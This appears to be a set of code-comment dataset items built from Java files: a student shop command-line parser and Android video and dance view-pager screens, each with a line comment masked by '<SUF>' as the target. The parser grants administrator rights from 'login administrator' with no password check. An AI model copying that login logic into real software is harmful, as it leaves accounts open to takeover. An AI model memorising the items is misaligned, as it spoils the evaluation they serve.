Scanner scanner = new Scanner(System.in);
System.out.println("Enter command:");
while(scanner.hasNextLine()) {
String input = scanner.nextLine();
String[] commands = input.split(" ");
switch (commands[0]) {
case "register_costumer":
case "rc":
if (commands.length == 5) {
Register.registerCostumer(commands[1], commands[2],commands[3],commands[4]);
} else {
System.out.println("Invalid register command. Usage: rc <name> <age> <gender> <tel>");
}
break;
case "showAllCommodity":
case "sac":
ShowAllCommodity.show_all_commodity();
break;
case "favorite":
if (commands.length == 3) {
favorite.favorite(username,Integer.parseInt(commands[1]),Integer.parseInt(commands[2]));
} else {
System.out.println("Invalid register command. Usage: favorite <username> <commodity_id> <threshold>");
}
break;
case "register_vendor":
case "rv":
if (commands.length == 3) {
RegisterVendor.registerVendor(commands[1], commands[2]);
} else {
System.out.println("Invalid register command. Usage: rv <name> <address>");
}
break;
// 可以在这里增加更多命令的处理
case "login" :
if (commands.length == 3) {
if (commands[1].equals("vendor")) {
if (SelectVendor.selectVendorByName(commands[2])) {
username = commands[2];
user_type = "vendor";
System.out.println("商家登录成功");
} else {
System.out.println("未注册");
}
}
if (commands[1].equals("customer")) {
if (SelectCustomer.selectCustomerByName(commands[2])) {
username = commands[2];
user_type = "customer";
System.out.println("用户登录成功");
} else {
System.out.println("未注册");
}
}
}else if(commands.length == 2){
if (commands[1].equals("administrator")){
username = "administrator";
user_type = "administrator";
System.out.println("管理员登录成功");
}
} else {
System.out.println("Invalid register command. Usage: login <usertype> <username>");
}
break;
case "sell":
if (user_type != null && user_type.equals("vendor") && commands.length == 5) {
// 使用 username 作为 vendorName,它应该已经通过之前的 "login" 命令设置好了
String commodityName = commands[1];
String category = commands[2];
String origin = commands[3];
Date mfd = parseSqlDate(commands[4]); // 解析日期
if (mfd != null) {
CreateCommodity.addCommodity(username, commodityName, category, origin, mfd);
} else {
System.out.println("Invalid date format. Usage: sell <name> <category> <origin> <yyyy.MM.dd>");
}
} else {
if (user_type == null || !user_type.equals("vendor")) {
System.out.println("Error: Only vendors can sell items.");
} else {
System.out.println("Invalid sell command. Usage: sell <name> <category> <origin> <yyyy.MM.dd>");
}
}
break;
case "publish":
if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "to".equals(commands[2])) {
String commodityName = commands[1];
String platformName = commands[3];
BigDecimal bigDecimalNumber = new BigDecimal(commands[4]);
PublishCommodity.publishCommodity(username, commodityName, platformName,bigDecimalNumber);
} else {
System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>");
}
break;
case "modify":
if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "in".equals(commands[2])) {
String commodityName = commands[1];
String platformName = commands[3];
BigDecimal bigDecimalNumber = new BigDecimal(commands[4]);
ModifyCommodityPrice.modifyCommodityPrice(username, commodityName, platformName,bigDecimalNumber);
} else {
System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>");
}
break;
case "showMyInfo":
if(user_type.equals("vendor")) VendorQuery.queryVendorInfo(username);
else if(user_type.equals("customer")) VendorQuery.queryCustomerInfo(username);
break;
case "showMyCommodity":
VendorQuery.queryVendorCommodities(username);
break;
case "searchMC":
VendorQuery.queryLatestPrice(username,commands[1]);
break;
case "notice":
CustomerNotifications.notice(username);
break;
case "administer":
if(commands[1].equals("mv")){
Administer.updateVendor(Integer.parseInt(commands[2]),commands[3],commands[4]);
}else if(commands[1].equals("dv")){
Administer.deleteVendor(Integer.parseInt(commands[2]));
}else if(commands[1].equals("mc")){
Administer.updateCustomer(Integer.parseInt(commands[2]),commands[3],Integer.parseInt(commands[4]),commands[5],commands[6]);
}else if(commands[1].equals("dc")){
Administer.deleteCustomer(Integer.parseInt(commands[2]));
}else if(commands[1].equals("deleteCommodity")){
Administer.deleteCommodity(Integer.parseInt(commands[2]));
}
break;
case "search_commodity":
if(commands.length == 2){
ShowAllCommodity.showCommodityById(Integer.parseInt(commands[2]));
}else{
System.out.println("wrong command");
}
break;
case "show_my_favorite":
if(user_type.equals("customer")){
ShowAllCommodity.show_my_favorite_commodity(username);
}else{
System.out.println("you are not a customer");
}
break;
default:
System.out.println("Unknown command.");
break;
}
}
}
}
| 18684154298/databasePJ | src/Parser.java | 1,678 | // 可以在这里增加更多命令的处理 | line_comment | zh-cn | import ConcreteCommand.*;
import java.math.BigDecimal;
import java.sql.Date;
import java.sql.SQLException;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Scanner;
public class Parser {
public static Date parseSqlDate(String dateStr) {
SimpleDateFormat formatter = new SimpleDateFormat("yyyy.MM.dd");
try {
java.util.Date utilDate = formatter.parse(dateStr);
return new Date(utilDate.getTime());
} catch (ParseException e) {
e.printStackTrace();
return null;
}
}
static String user_type = null;
static String username = null;
public static void main(String[] args) throws SQLException, ClassNotFoundException {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter command:");
while(scanner.hasNextLine()) {
String input = scanner.nextLine();
String[] commands = input.split(" ");
switch (commands[0]) {
case "register_costumer":
case "rc":
if (commands.length == 5) {
Register.registerCostumer(commands[1], commands[2],commands[3],commands[4]);
} else {
System.out.println("Invalid register command. Usage: rc <name> <age> <gender> <tel>");
}
break;
case "showAllCommodity":
case "sac":
ShowAllCommodity.show_all_commodity();
break;
case "favorite":
if (commands.length == 3) {
favorite.favorite(username,Integer.parseInt(commands[1]),Integer.parseInt(commands[2]));
} else {
System.out.println("Invalid register command. Usage: favorite <username> <commodity_id> <threshold>");
}
break;
case "register_vendor":
case "rv":
if (commands.length == 3) {
RegisterVendor.registerVendor(commands[1], commands[2]);
} else {
System.out.println("Invalid register command. Usage: rv <name> <address>");
}
break;
// 可以 <SUF>
case "login" :
if (commands.length == 3) {
if (commands[1].equals("vendor")) {
if (SelectVendor.selectVendorByName(commands[2])) {
username = commands[2];
user_type = "vendor";
System.out.println("商家登录成功");
} else {
System.out.println("未注册");
}
}
if (commands[1].equals("customer")) {
if (SelectCustomer.selectCustomerByName(commands[2])) {
username = commands[2];
user_type = "customer";
System.out.println("用户登录成功");
} else {
System.out.println("未注册");
}
}
}else if(commands.length == 2){
if (commands[1].equals("administrator")){
username = "administrator";
user_type = "administrator";
System.out.println("管理员登录成功");
}
} else {
System.out.println("Invalid register command. Usage: login <usertype> <username>");
}
break;
case "sell":
if (user_type != null && user_type.equals("vendor") && commands.length == 5) {
// 使用 username 作为 vendorName,它应该已经通过之前的 "login" 命令设置好了
String commodityName = commands[1];
String category = commands[2];
String origin = commands[3];
Date mfd = parseSqlDate(commands[4]); // 解析日期
if (mfd != null) {
CreateCommodity.addCommodity(username, commodityName, category, origin, mfd);
} else {
System.out.println("Invalid date format. Usage: sell <name> <category> <origin> <yyyy.MM.dd>");
}
} else {
if (user_type == null || !user_type.equals("vendor")) {
System.out.println("Error: Only vendors can sell items.");
} else {
System.out.println("Invalid sell command. Usage: sell <name> <category> <origin> <yyyy.MM.dd>");
}
}
break;
case "publish":
if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "to".equals(commands[2])) {
String commodityName = commands[1];
String platformName = commands[3];
BigDecimal bigDecimalNumber = new BigDecimal(commands[4]);
PublishCommodity.publishCommodity(username, commodityName, platformName,bigDecimalNumber);
} else {
System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>");
}
break;
case "modify":
if (user_type != null && user_type.equals("vendor") && commands.length == 5 && "in".equals(commands[2])) {
String commodityName = commands[1];
String platformName = commands[3];
BigDecimal bigDecimalNumber = new BigDecimal(commands[4]);
ModifyCommodityPrice.modifyCommodityPrice(username, commodityName, platformName,bigDecimalNumber);
} else {
System.out.println("Invalid publish command. Usage: publish <commodity_name> to <platform_name>");
}
break;
case "showMyInfo":
if(user_type.equals("vendor")) VendorQuery.queryVendorInfo(username);
else if(user_type.equals("customer")) VendorQuery.queryCustomerInfo(username);
break;
case "showMyCommodity":
VendorQuery.queryVendorCommodities(username);
break;
case "searchMC":
VendorQuery.queryLatestPrice(username,commands[1]);
break;
case "notice":
CustomerNotifications.notice(username);
break;
case "administer":
if(commands[1].equals("mv")){
Administer.updateVendor(Integer.parseInt(commands[2]),commands[3],commands[4]);
}else if(commands[1].equals("dv")){
Administer.deleteVendor(Integer.parseInt(commands[2]));
}else if(commands[1].equals("mc")){
Administer.updateCustomer(Integer.parseInt(commands[2]),commands[3],Integer.parseInt(commands[4]),commands[5],commands[6]);
}else if(commands[1].equals("dc")){
Administer.deleteCustomer(Integer.parseInt(commands[2]));
}else if(commands[1].equals("deleteCommodity")){
Administer.deleteCommodity(Integer.parseInt(commands[2]));
}
break;
case "search_commodity":
if(commands.length == 2){
ShowAllCommodity.showCommodityById(Integer.parseInt(commands[2]));
}else{
System.out.println("wrong command");
}
break;
case "show_my_favorite":
if(user_type.equals("customer")){
ShowAllCommodity.show_my_favorite_commodity(username);
}else{
System.out.println("you are not a customer");
}
break;
default:
System.out.println("Unknown command.");
break;
}
}
}
}
| 0 |
47137_10 | package com.ch.doudemo.activity;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.PagerSnapHelper;
import android.support.v7.widget.RecyclerView;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.bumptech.glide.Glide;
import com.ch.doudemo.R;
import com.ch.doudemo.base.BaseRecAdapter;
import com.ch.doudemo.base.BaseRecViewHolder;
import com.ch.doudemo.widget.MyVideoPlayer;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import butterknife.ButterKnife;
/**
* 翻页2
*/
public class Page2Activity extends AppCompatActivity {
@BindView(R.id.rv_page2)
RecyclerView rvPage2;
private List<String> urlList;
private ListVideoAdapter videoAdapter;
private PagerSnapHelper snapHelper;
private LinearLayoutManager layoutManager;
private int currentPosition;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_page2);
ButterKnife.bind(this);
initView();
addListener();
}
private void initView() {
urlList = new ArrayList<>();
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201811/26/09/5bfb4c55633c9.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201805/100651/201805181532123423.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803151735198462.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150923220770.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150922255785.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150920130302.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141625005241.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141624378522.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803131546119319.mp4");
snapHelper = new PagerSnapHelper();
snapHelper.attachToRecyclerView(rvPage2);
videoAdapter = new ListVideoAdapter(urlList);
layoutManager = new LinearLayoutManager(Page2Activity.this, LinearLayoutManager.VERTICAL, false);
rvPage2.setLayoutManager(layoutManager);
rvPage2.setAdapter(videoAdapter);
}
private void addListener() {
rvPage2.addOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
}
@Override
public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
switch (newState) {
case RecyclerView.SCROLL_STATE_IDLE://停止滚动
View view = snapHelper.findSnapView(layoutManager);
//当前固定后的item position
int position = recyclerView.getChildAdapterPosition(view);
if (currentPosition != position) {
//如果当前position 和 上一次固定后的position 相同, 说明是同一个, 只不过滑动了一点点, 然后又释放了
MyVideoPlayer.releaseAllVideos();
RecyclerView.ViewHolder viewHolder = recyclerView.getChildViewHolder(view);
if (viewHolder != null && viewHolder instanceof VideoViewHolder) {
((VideoViewHolder) viewHolder).mp_video.startVideo();
}
}
currentPosition = position;
break;
case RecyclerView.SCROLL_STATE_DRAGGING://拖动
break;
case RecyclerView.SCROLL_STATE_SETTLING://惯性滑动
break;
}
}
});
}
@Override
public void onPause() {
super.onPause();
MyVideoPlayer.releaseAllVideos();
}
class ListVideoAdapter extends BaseRecAdapter<String, VideoViewHolder> {
public ListVideoAdapter(List<String> list) {
super(list);
}
@Override
public void onHolder(VideoViewHolder holder, String bean, int position) {
ViewGroup.LayoutParams layoutParams = holder.itemView.getLayoutParams();
layoutParams.height = ViewGroup.LayoutParams.MATCH_PARENT;
holder.mp_video.setUp(bean, "第" + position + "个视频", MyVideoPlayer.STATE_NORMAL);
if (position == 0) {
holder.mp_video.startVideo();
}
Glide.with(context).load(bean).into(holder.mp_video.thumbImageView);
holder.tv_title.setText("第" + position + "个视频");
}
@Override
public VideoViewHolder onCreateHolder() {
return new VideoViewHolder(getViewByRes(R.layout.item_page2));
}
}
public class VideoViewHolder extends BaseRecViewHolder {
public View rootView;
public MyVideoPlayer mp_video;
public TextView tv_title;
public VideoViewHolder(View rootView) {
super(rootView);
this.rootView = rootView;
this.mp_video = rootView.findViewById(R.id.mp_video);
this.tv_title = rootView.findViewById(R.id.tv_title);
}
}
}
| 18702953620/DouDemo | app/src/main/java/com/ch/doudemo/activity/Page2Activity.java | 1,611 | //停止滚动 | line_comment | zh-cn | package com.ch.doudemo.activity;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.PagerSnapHelper;
import android.support.v7.widget.RecyclerView;
import android.view.View;
import android.view.ViewGroup;
import android.widget.TextView;
import com.bumptech.glide.Glide;
import com.ch.doudemo.R;
import com.ch.doudemo.base.BaseRecAdapter;
import com.ch.doudemo.base.BaseRecViewHolder;
import com.ch.doudemo.widget.MyVideoPlayer;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import butterknife.ButterKnife;
/**
* 翻页2
*/
public class Page2Activity extends AppCompatActivity {
@BindView(R.id.rv_page2)
RecyclerView rvPage2;
private List<String> urlList;
private ListVideoAdapter videoAdapter;
private PagerSnapHelper snapHelper;
private LinearLayoutManager layoutManager;
private int currentPosition;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_page2);
ButterKnife.bind(this);
initView();
addListener();
}
private void initView() {
urlList = new ArrayList<>();
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201811/26/09/5bfb4c55633c9.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201805/100651/201805181532123423.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803151735198462.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150923220770.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150922255785.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803150920130302.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141625005241.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803141624378522.mp4");
urlList.add("http://chuangfen.oss-cn-hangzhou.aliyuncs.com/public/attachment/201803/100651/201803131546119319.mp4");
snapHelper = new PagerSnapHelper();
snapHelper.attachToRecyclerView(rvPage2);
videoAdapter = new ListVideoAdapter(urlList);
layoutManager = new LinearLayoutManager(Page2Activity.this, LinearLayoutManager.VERTICAL, false);
rvPage2.setLayoutManager(layoutManager);
rvPage2.setAdapter(videoAdapter);
}
private void addListener() {
rvPage2.addOnScrollListener(new RecyclerView.OnScrollListener() {
@Override
public void onScrolled(RecyclerView recyclerView, int dx, int dy) {
}
@Override
public void onScrollStateChanged(RecyclerView recyclerView, int newState) {
switch (newState) {
case RecyclerView.SCROLL_STATE_IDLE://停止 <SUF>
View view = snapHelper.findSnapView(layoutManager);
//当前固定后的item position
int position = recyclerView.getChildAdapterPosition(view);
if (currentPosition != position) {
//如果当前position 和 上一次固定后的position 相同, 说明是同一个, 只不过滑动了一点点, 然后又释放了
MyVideoPlayer.releaseAllVideos();
RecyclerView.ViewHolder viewHolder = recyclerView.getChildViewHolder(view);
if (viewHolder != null && viewHolder instanceof VideoViewHolder) {
((VideoViewHolder) viewHolder).mp_video.startVideo();
}
}
currentPosition = position;
break;
case RecyclerView.SCROLL_STATE_DRAGGING://拖动
break;
case RecyclerView.SCROLL_STATE_SETTLING://惯性滑动
break;
}
}
});
}
@Override
public void onPause() {
super.onPause();
MyVideoPlayer.releaseAllVideos();
}
class ListVideoAdapter extends BaseRecAdapter<String, VideoViewHolder> {
public ListVideoAdapter(List<String> list) {
super(list);
}
@Override
public void onHolder(VideoViewHolder holder, String bean, int position) {
ViewGroup.LayoutParams layoutParams = holder.itemView.getLayoutParams();
layoutParams.height = ViewGroup.LayoutParams.MATCH_PARENT;
holder.mp_video.setUp(bean, "第" + position + "个视频", MyVideoPlayer.STATE_NORMAL);
if (position == 0) {
holder.mp_video.startVideo();
}
Glide.with(context).load(bean).into(holder.mp_video.thumbImageView);
holder.tv_title.setText("第" + position + "个视频");
}
@Override
public VideoViewHolder onCreateHolder() {
return new VideoViewHolder(getViewByRes(R.layout.item_page2));
}
}
public class VideoViewHolder extends BaseRecViewHolder {
public View rootView;
public MyVideoPlayer mp_video;
public TextView tv_title;
public VideoViewHolder(View rootView) {
super(rootView);
this.rootView = rootView;
this.mp_video = rootView.findViewById(R.id.mp_video);
this.tv_title = rootView.findViewById(R.id.tv_title);
}
}
}
| 0 |
62122_1 | package com.uurobot.baseframe.activitys;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import com.uurobot.baseframe.R;
import com.uurobot.baseframe.fragment.shangcheng.home.Utils;
import com.uurobot.baseframe.view.BorderImageView;
import com.uurobot.baseframe.view.DaoyingView;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Administrator on 2018/5/31.
*/
public class DanceViewPagerActivity extends BaseActivity {
private static final String TAG = DanceViewPagerActivity.class.getSimpleName();
private RelativeLayout viewPager_container;
private ImageView imageButton;
private ViewPager viewPager;
private TextView textView;
private LinearLayout linearLayout;
private int imgs[] = {R.drawable.xpg, R.drawable.zumzf, R.drawable.mj, R.drawable.chysx, R.drawable.lq};
private String title[] = {"小苹果", "最炫名族风", "迈克杰克逊", "沧海一声笑", "龙拳",};
private List<ViewHolder> imageViews;
private int prePointPos = -1;
private int preLayoutPos = -1;
private LayoutInflater layoutInflater;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dance);
layoutInflater = LayoutInflater.from(this);
linearLayout = findViewById(R.id.ll_dance_points);
textView = findViewById(R.id.tv_dance_title);
viewPager = findViewById(R.id.viewpager_dance);
imageButton = findViewById(R.id.imageview_play);
imageButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(DanceViewPagerActivity.this, "==" + viewPager.getCurrentItem(), Toast.LENGTH_SHORT).show();
}
});
viewPager_container = findViewById(R.id.viewPager_container);
viewPager_container.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
Log.e(TAG, "onTouch: "+event.getX()+ " "+event.getY()+" "+ event.getAction() );
return viewPager.dispatchTouchEvent(event);
}
});
initData();
viewPager.setOffscreenPageLimit(7);
viewPager.setAdapter(new PagerAdapter() {
@Override
public int getCount() {
return Integer.MAX_VALUE;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
Log.e(TAG, "instantiateItem: " + position % imageViews.size());
ViewHolder viewHolder = imageViews.get(position % imageViews.size());
container.addView(viewHolder.relativeLayout);
return viewHolder.relativeLayout;
}
@Override
public float getPageWidth(int position) {
return 1f;
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
Log.e(TAG, "destroyItem : " + position);
container.removeView((View) object);
}
});
viewPager.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e(TAG, "onClick: view pager" );
}
});
viewPager.addOnPageChangeListener(new ViewPager.OnPageChangeListener() {
@Override
public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {
}
@Override
public void onPageSelected(int position) {
int realPos = position % title.length;
Log.e(TAG, "onPageSelected: " + position + " realPos=" + realPos + " " + linearLayout.getChildCount());
if (prePointPos != -1) {
linearLayout.getChildAt(prePointPos).setSelected(false);
}
linearLayout.getChildAt(realPos).setSelected(true);
textView.setText(title[realPos]);
prePointPos = realPos;
int layouts = position % imageViews.size();
setBorader(layouts, true);
preLayoutPos = layouts;
}
@Override
public void onPageScrollStateChanged(int state) {
}
});
viewPager.setPageTransformer(true, new ViewPager.PageTransformer() {
public static final float MIN_SCALE = 0.6f;
public static final float SENCOND_SCALE = 0.8f;
public static final float MAX_SCALE = 1f;
@Override
public void transformPage(View page, float position) {
float scale;
//执行缩放
float scaleFactor = Utils.getPageScale(position);
page.setScaleX(scaleFactor);
page.setScaleY(scaleFactor);
Utils.transLationX(page, position);
Utils.setPivotXY(page, position);
}
});
int item = Integer.MAX_VALUE / 2;
viewPager.setCurrentItem(item);
int points = item % title.length;
linearLayout.getChildAt(points).setSelected(true);
textView.setText(title[points]);
prePointPos = points;
int layouts = item % imageViews.size();
setBorader(layouts, true);
preLayoutPos = layouts;
}
private void setBorader(int item, boolean state) {
Log.e(TAG, "setBorader: ====== " + prePointPos + " " + item);
if (preLayoutPos != -1) {
ViewHolder viewHolder = imageViews.get(preLayoutPos);
DaoyingView daoyingView = viewHolder.daoyingView;
daoyingView.drawBorder(false);
}
ViewHolder viewHolder = imageViews.get(item);
DaoyingView daoyingView = viewHolder.daoyingView;
daoyingView.drawBorder(true);
}
private void initData() {
imageViews = new ArrayList<>();
for (int i = 0; i < imgs.length * 4; i++) {
RelativeLayout relativeLayout = (RelativeLayout) layoutInflater.inflate(R.layout.viewpager_dance_item, null);
DaoyingView imageView = relativeLayout.findViewById(R.id.image_dance_icon);
imageView.setBitmap(imgs[i%imgs.length]);
imageView.setTag(i%imgs.length);
imageView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e(TAG, "onClick: ==============view="+ v.getTag());
}
});
ViewHolder viewHolder = new ViewHolder();
viewHolder.relativeLayout = relativeLayout ;
viewHolder.daoyingView = imageView ;
imageViews.add(viewHolder);
}
for (int i = 0; i < title.length; i++) {
ImageView points = new ImageView(this);
points.setBackgroundResource(R.drawable.point_selectors);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(42, 42);
if (i != (imgs.length - 1)) { // 最后一个不需要
params.rightMargin = 20;
}
points.setLayoutParams(params);
linearLayout.addView(points);
}
}
private class ViewHolder {
public RelativeLayout relativeLayout;
public DaoyingView daoyingView;
}
}
| 18823408460/LocalTest | BaseFrame/src/main/java/com/uurobot/baseframe/activitys/DanceViewPagerActivity.java | 1,858 | //执行缩放 | line_comment | zh-cn | package com.uurobot.baseframe.activitys;
import android.os.Bundle;
import android.support.annotation.Nullable;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import android.widget.Toast;
import com.uurobot.baseframe.R;
import com.uurobot.baseframe.fragment.shangcheng.home.Utils;
import com.uurobot.baseframe.view.BorderImageView;
import com.uurobot.baseframe.view.DaoyingView;
import java.util.ArrayList;
import java.util.List;
/**
* Created by Administrator on 2018/5/31.
*/
public class DanceViewPagerActivity extends BaseActivity {
private static final String TAG = DanceViewPagerActivity.class.getSimpleName();
private RelativeLayout viewPager_container;
private ImageView imageButton;
private ViewPager viewPager;
private TextView textView;
private LinearLayout linearLayout;
private int imgs[] = {R.drawable.xpg, R.drawable.zumzf, R.drawable.mj, R.drawable.chysx, R.drawable.lq};
private String title[] = {"小苹果", "最炫名族风", "迈克杰克逊", "沧海一声笑", "龙拳",};
private List<ViewHolder> imageViews;
private int prePointPos = -1;
private int preLayoutPos = -1;
private LayoutInflater layoutInflater;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dance);
layoutInflater = LayoutInflater.from(this);
linearLayout = findViewById(R.id.ll_dance_points);
textView = findViewById(R.id.tv_dance_title);
viewPager = findViewById(R.id.viewpager_dance);
imageButton = findViewById(R.id.imageview_play);
imageButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Toast.makeText(DanceViewPagerActivity.this, "==" + viewPager.getCurrentItem(), Toast.LENGTH_SHORT).show();
}
});
viewPager_container = findViewById(R.id.viewPager_container);
viewPager_container.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
Log.e(TAG, "onTouch: "+event.getX()+ " "+event.getY()+" "+ event.getAction() );
return viewPager.dispatchTouchEvent(event);
}
});
initData();
viewPager.setOffscreenPageLimit(7);
viewPager.setAdapter(new PagerAdapter() {
@Override
public int getCount() {
return Integer.MAX_VALUE;
}
@Override
public boolean isViewFromObject(View view, Object object) {
return view == object;
}
@Override
public Object instantiateItem(ViewGroup container, int position) {
Log.e(TAG, "instantiateItem: " + position % imageViews.size());
ViewHolder viewHolder = imageViews.get(position % imageViews.size());
container.addView(viewHolder.relativeLayout);
return viewHolder.relativeLayout;
}
@Override
public float getPageWidth(int position) {
return 1f;
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
Log.e(TAG, "destroyItem : " + position);
container.removeView((View) object);
}
});
viewPager.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e(TAG, "onClick: view pager" );
}
});
viewPager.addOnPageChangeListener(new ViewPager.OnPageChangeListener() {
@Override
public void onPageScrolled(int position, float positionOffset, int positionOffsetPixels) {
}
@Override
public void onPageSelected(int position) {
int realPos = position % title.length;
Log.e(TAG, "onPageSelected: " + position + " realPos=" + realPos + " " + linearLayout.getChildCount());
if (prePointPos != -1) {
linearLayout.getChildAt(prePointPos).setSelected(false);
}
linearLayout.getChildAt(realPos).setSelected(true);
textView.setText(title[realPos]);
prePointPos = realPos;
int layouts = position % imageViews.size();
setBorader(layouts, true);
preLayoutPos = layouts;
}
@Override
public void onPageScrollStateChanged(int state) {
}
});
viewPager.setPageTransformer(true, new ViewPager.PageTransformer() {
public static final float MIN_SCALE = 0.6f;
public static final float SENCOND_SCALE = 0.8f;
public static final float MAX_SCALE = 1f;
@Override
public void transformPage(View page, float position) {
float scale;
//执行 <SUF>
float scaleFactor = Utils.getPageScale(position);
page.setScaleX(scaleFactor);
page.setScaleY(scaleFactor);
Utils.transLationX(page, position);
Utils.setPivotXY(page, position);
}
});
int item = Integer.MAX_VALUE / 2;
viewPager.setCurrentItem(item);
int points = item % title.length;
linearLayout.getChildAt(points).setSelected(true);
textView.setText(title[points]);
prePointPos = points;
int layouts = item % imageViews.size();
setBorader(layouts, true);
preLayoutPos = layouts;
}
private void setBorader(int item, boolean state) {
Log.e(TAG, "setBorader: ====== " + prePointPos + " " + item);
if (preLayoutPos != -1) {
ViewHolder viewHolder = imageViews.get(preLayoutPos);
DaoyingView daoyingView = viewHolder.daoyingView;
daoyingView.drawBorder(false);
}
ViewHolder viewHolder = imageViews.get(item);
DaoyingView daoyingView = viewHolder.daoyingView;
daoyingView.drawBorder(true);
}
private void initData() {
imageViews = new ArrayList<>();
for (int i = 0; i < imgs.length * 4; i++) {
RelativeLayout relativeLayout = (RelativeLayout) layoutInflater.inflate(R.layout.viewpager_dance_item, null);
DaoyingView imageView = relativeLayout.findViewById(R.id.image_dance_icon);
imageView.setBitmap(imgs[i%imgs.length]);
imageView.setTag(i%imgs.length);
imageView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.e(TAG, "onClick: ==============view="+ v.getTag());
}
});
ViewHolder viewHolder = new ViewHolder();
viewHolder.relativeLayout = relativeLayout ;
viewHolder.daoyingView = imageView ;
imageViews.add(viewHolder);
}
for (int i = 0; i < title.length; i++) {
ImageView points = new ImageView(this);
points.setBackgroundResource(R.drawable.point_selectors);
LinearLayout.LayoutParams params = new LinearLayout.LayoutParams(42, 42);
if (i != (imgs.length - 1)) { // 最后一个不需要
params.rightMargin = 20;
}
points.setLayoutParams(params);
linearLayout.addView(points);
}
}
private class ViewHolder {
public RelativeLayout relativeLayout;
public DaoyingView daoyingView;
}
}
| 0 |
24929_15 | package cn.knet.util;
import cn.knet.domain.vo.KnetBgdataKeyword;
import org.apache.commons.lang.StringUtils;
import java.util.Arrays;
/**
* 大数据--通用清洗规则
*/
public class KnetBigdataCleanRules {
private static final String[] orgtypeMainArray = new String[]{"股份有限公司", "有限责任公司", "股份合作公司", "国有企业", "独资企业", "有限合伙", "普通合伙", "私营企业"};
/**
* 通用清洗规则
*
* @param orgName 企业名称
* @param orgType_old 企业行业类型
* @return
*/
public static KnetBgdataKeyword cleanRules(String orgName, String orgType_old) {
String orgtypeMain = "其他";
if (StringUtils.isNotBlank(orgType_old)) {
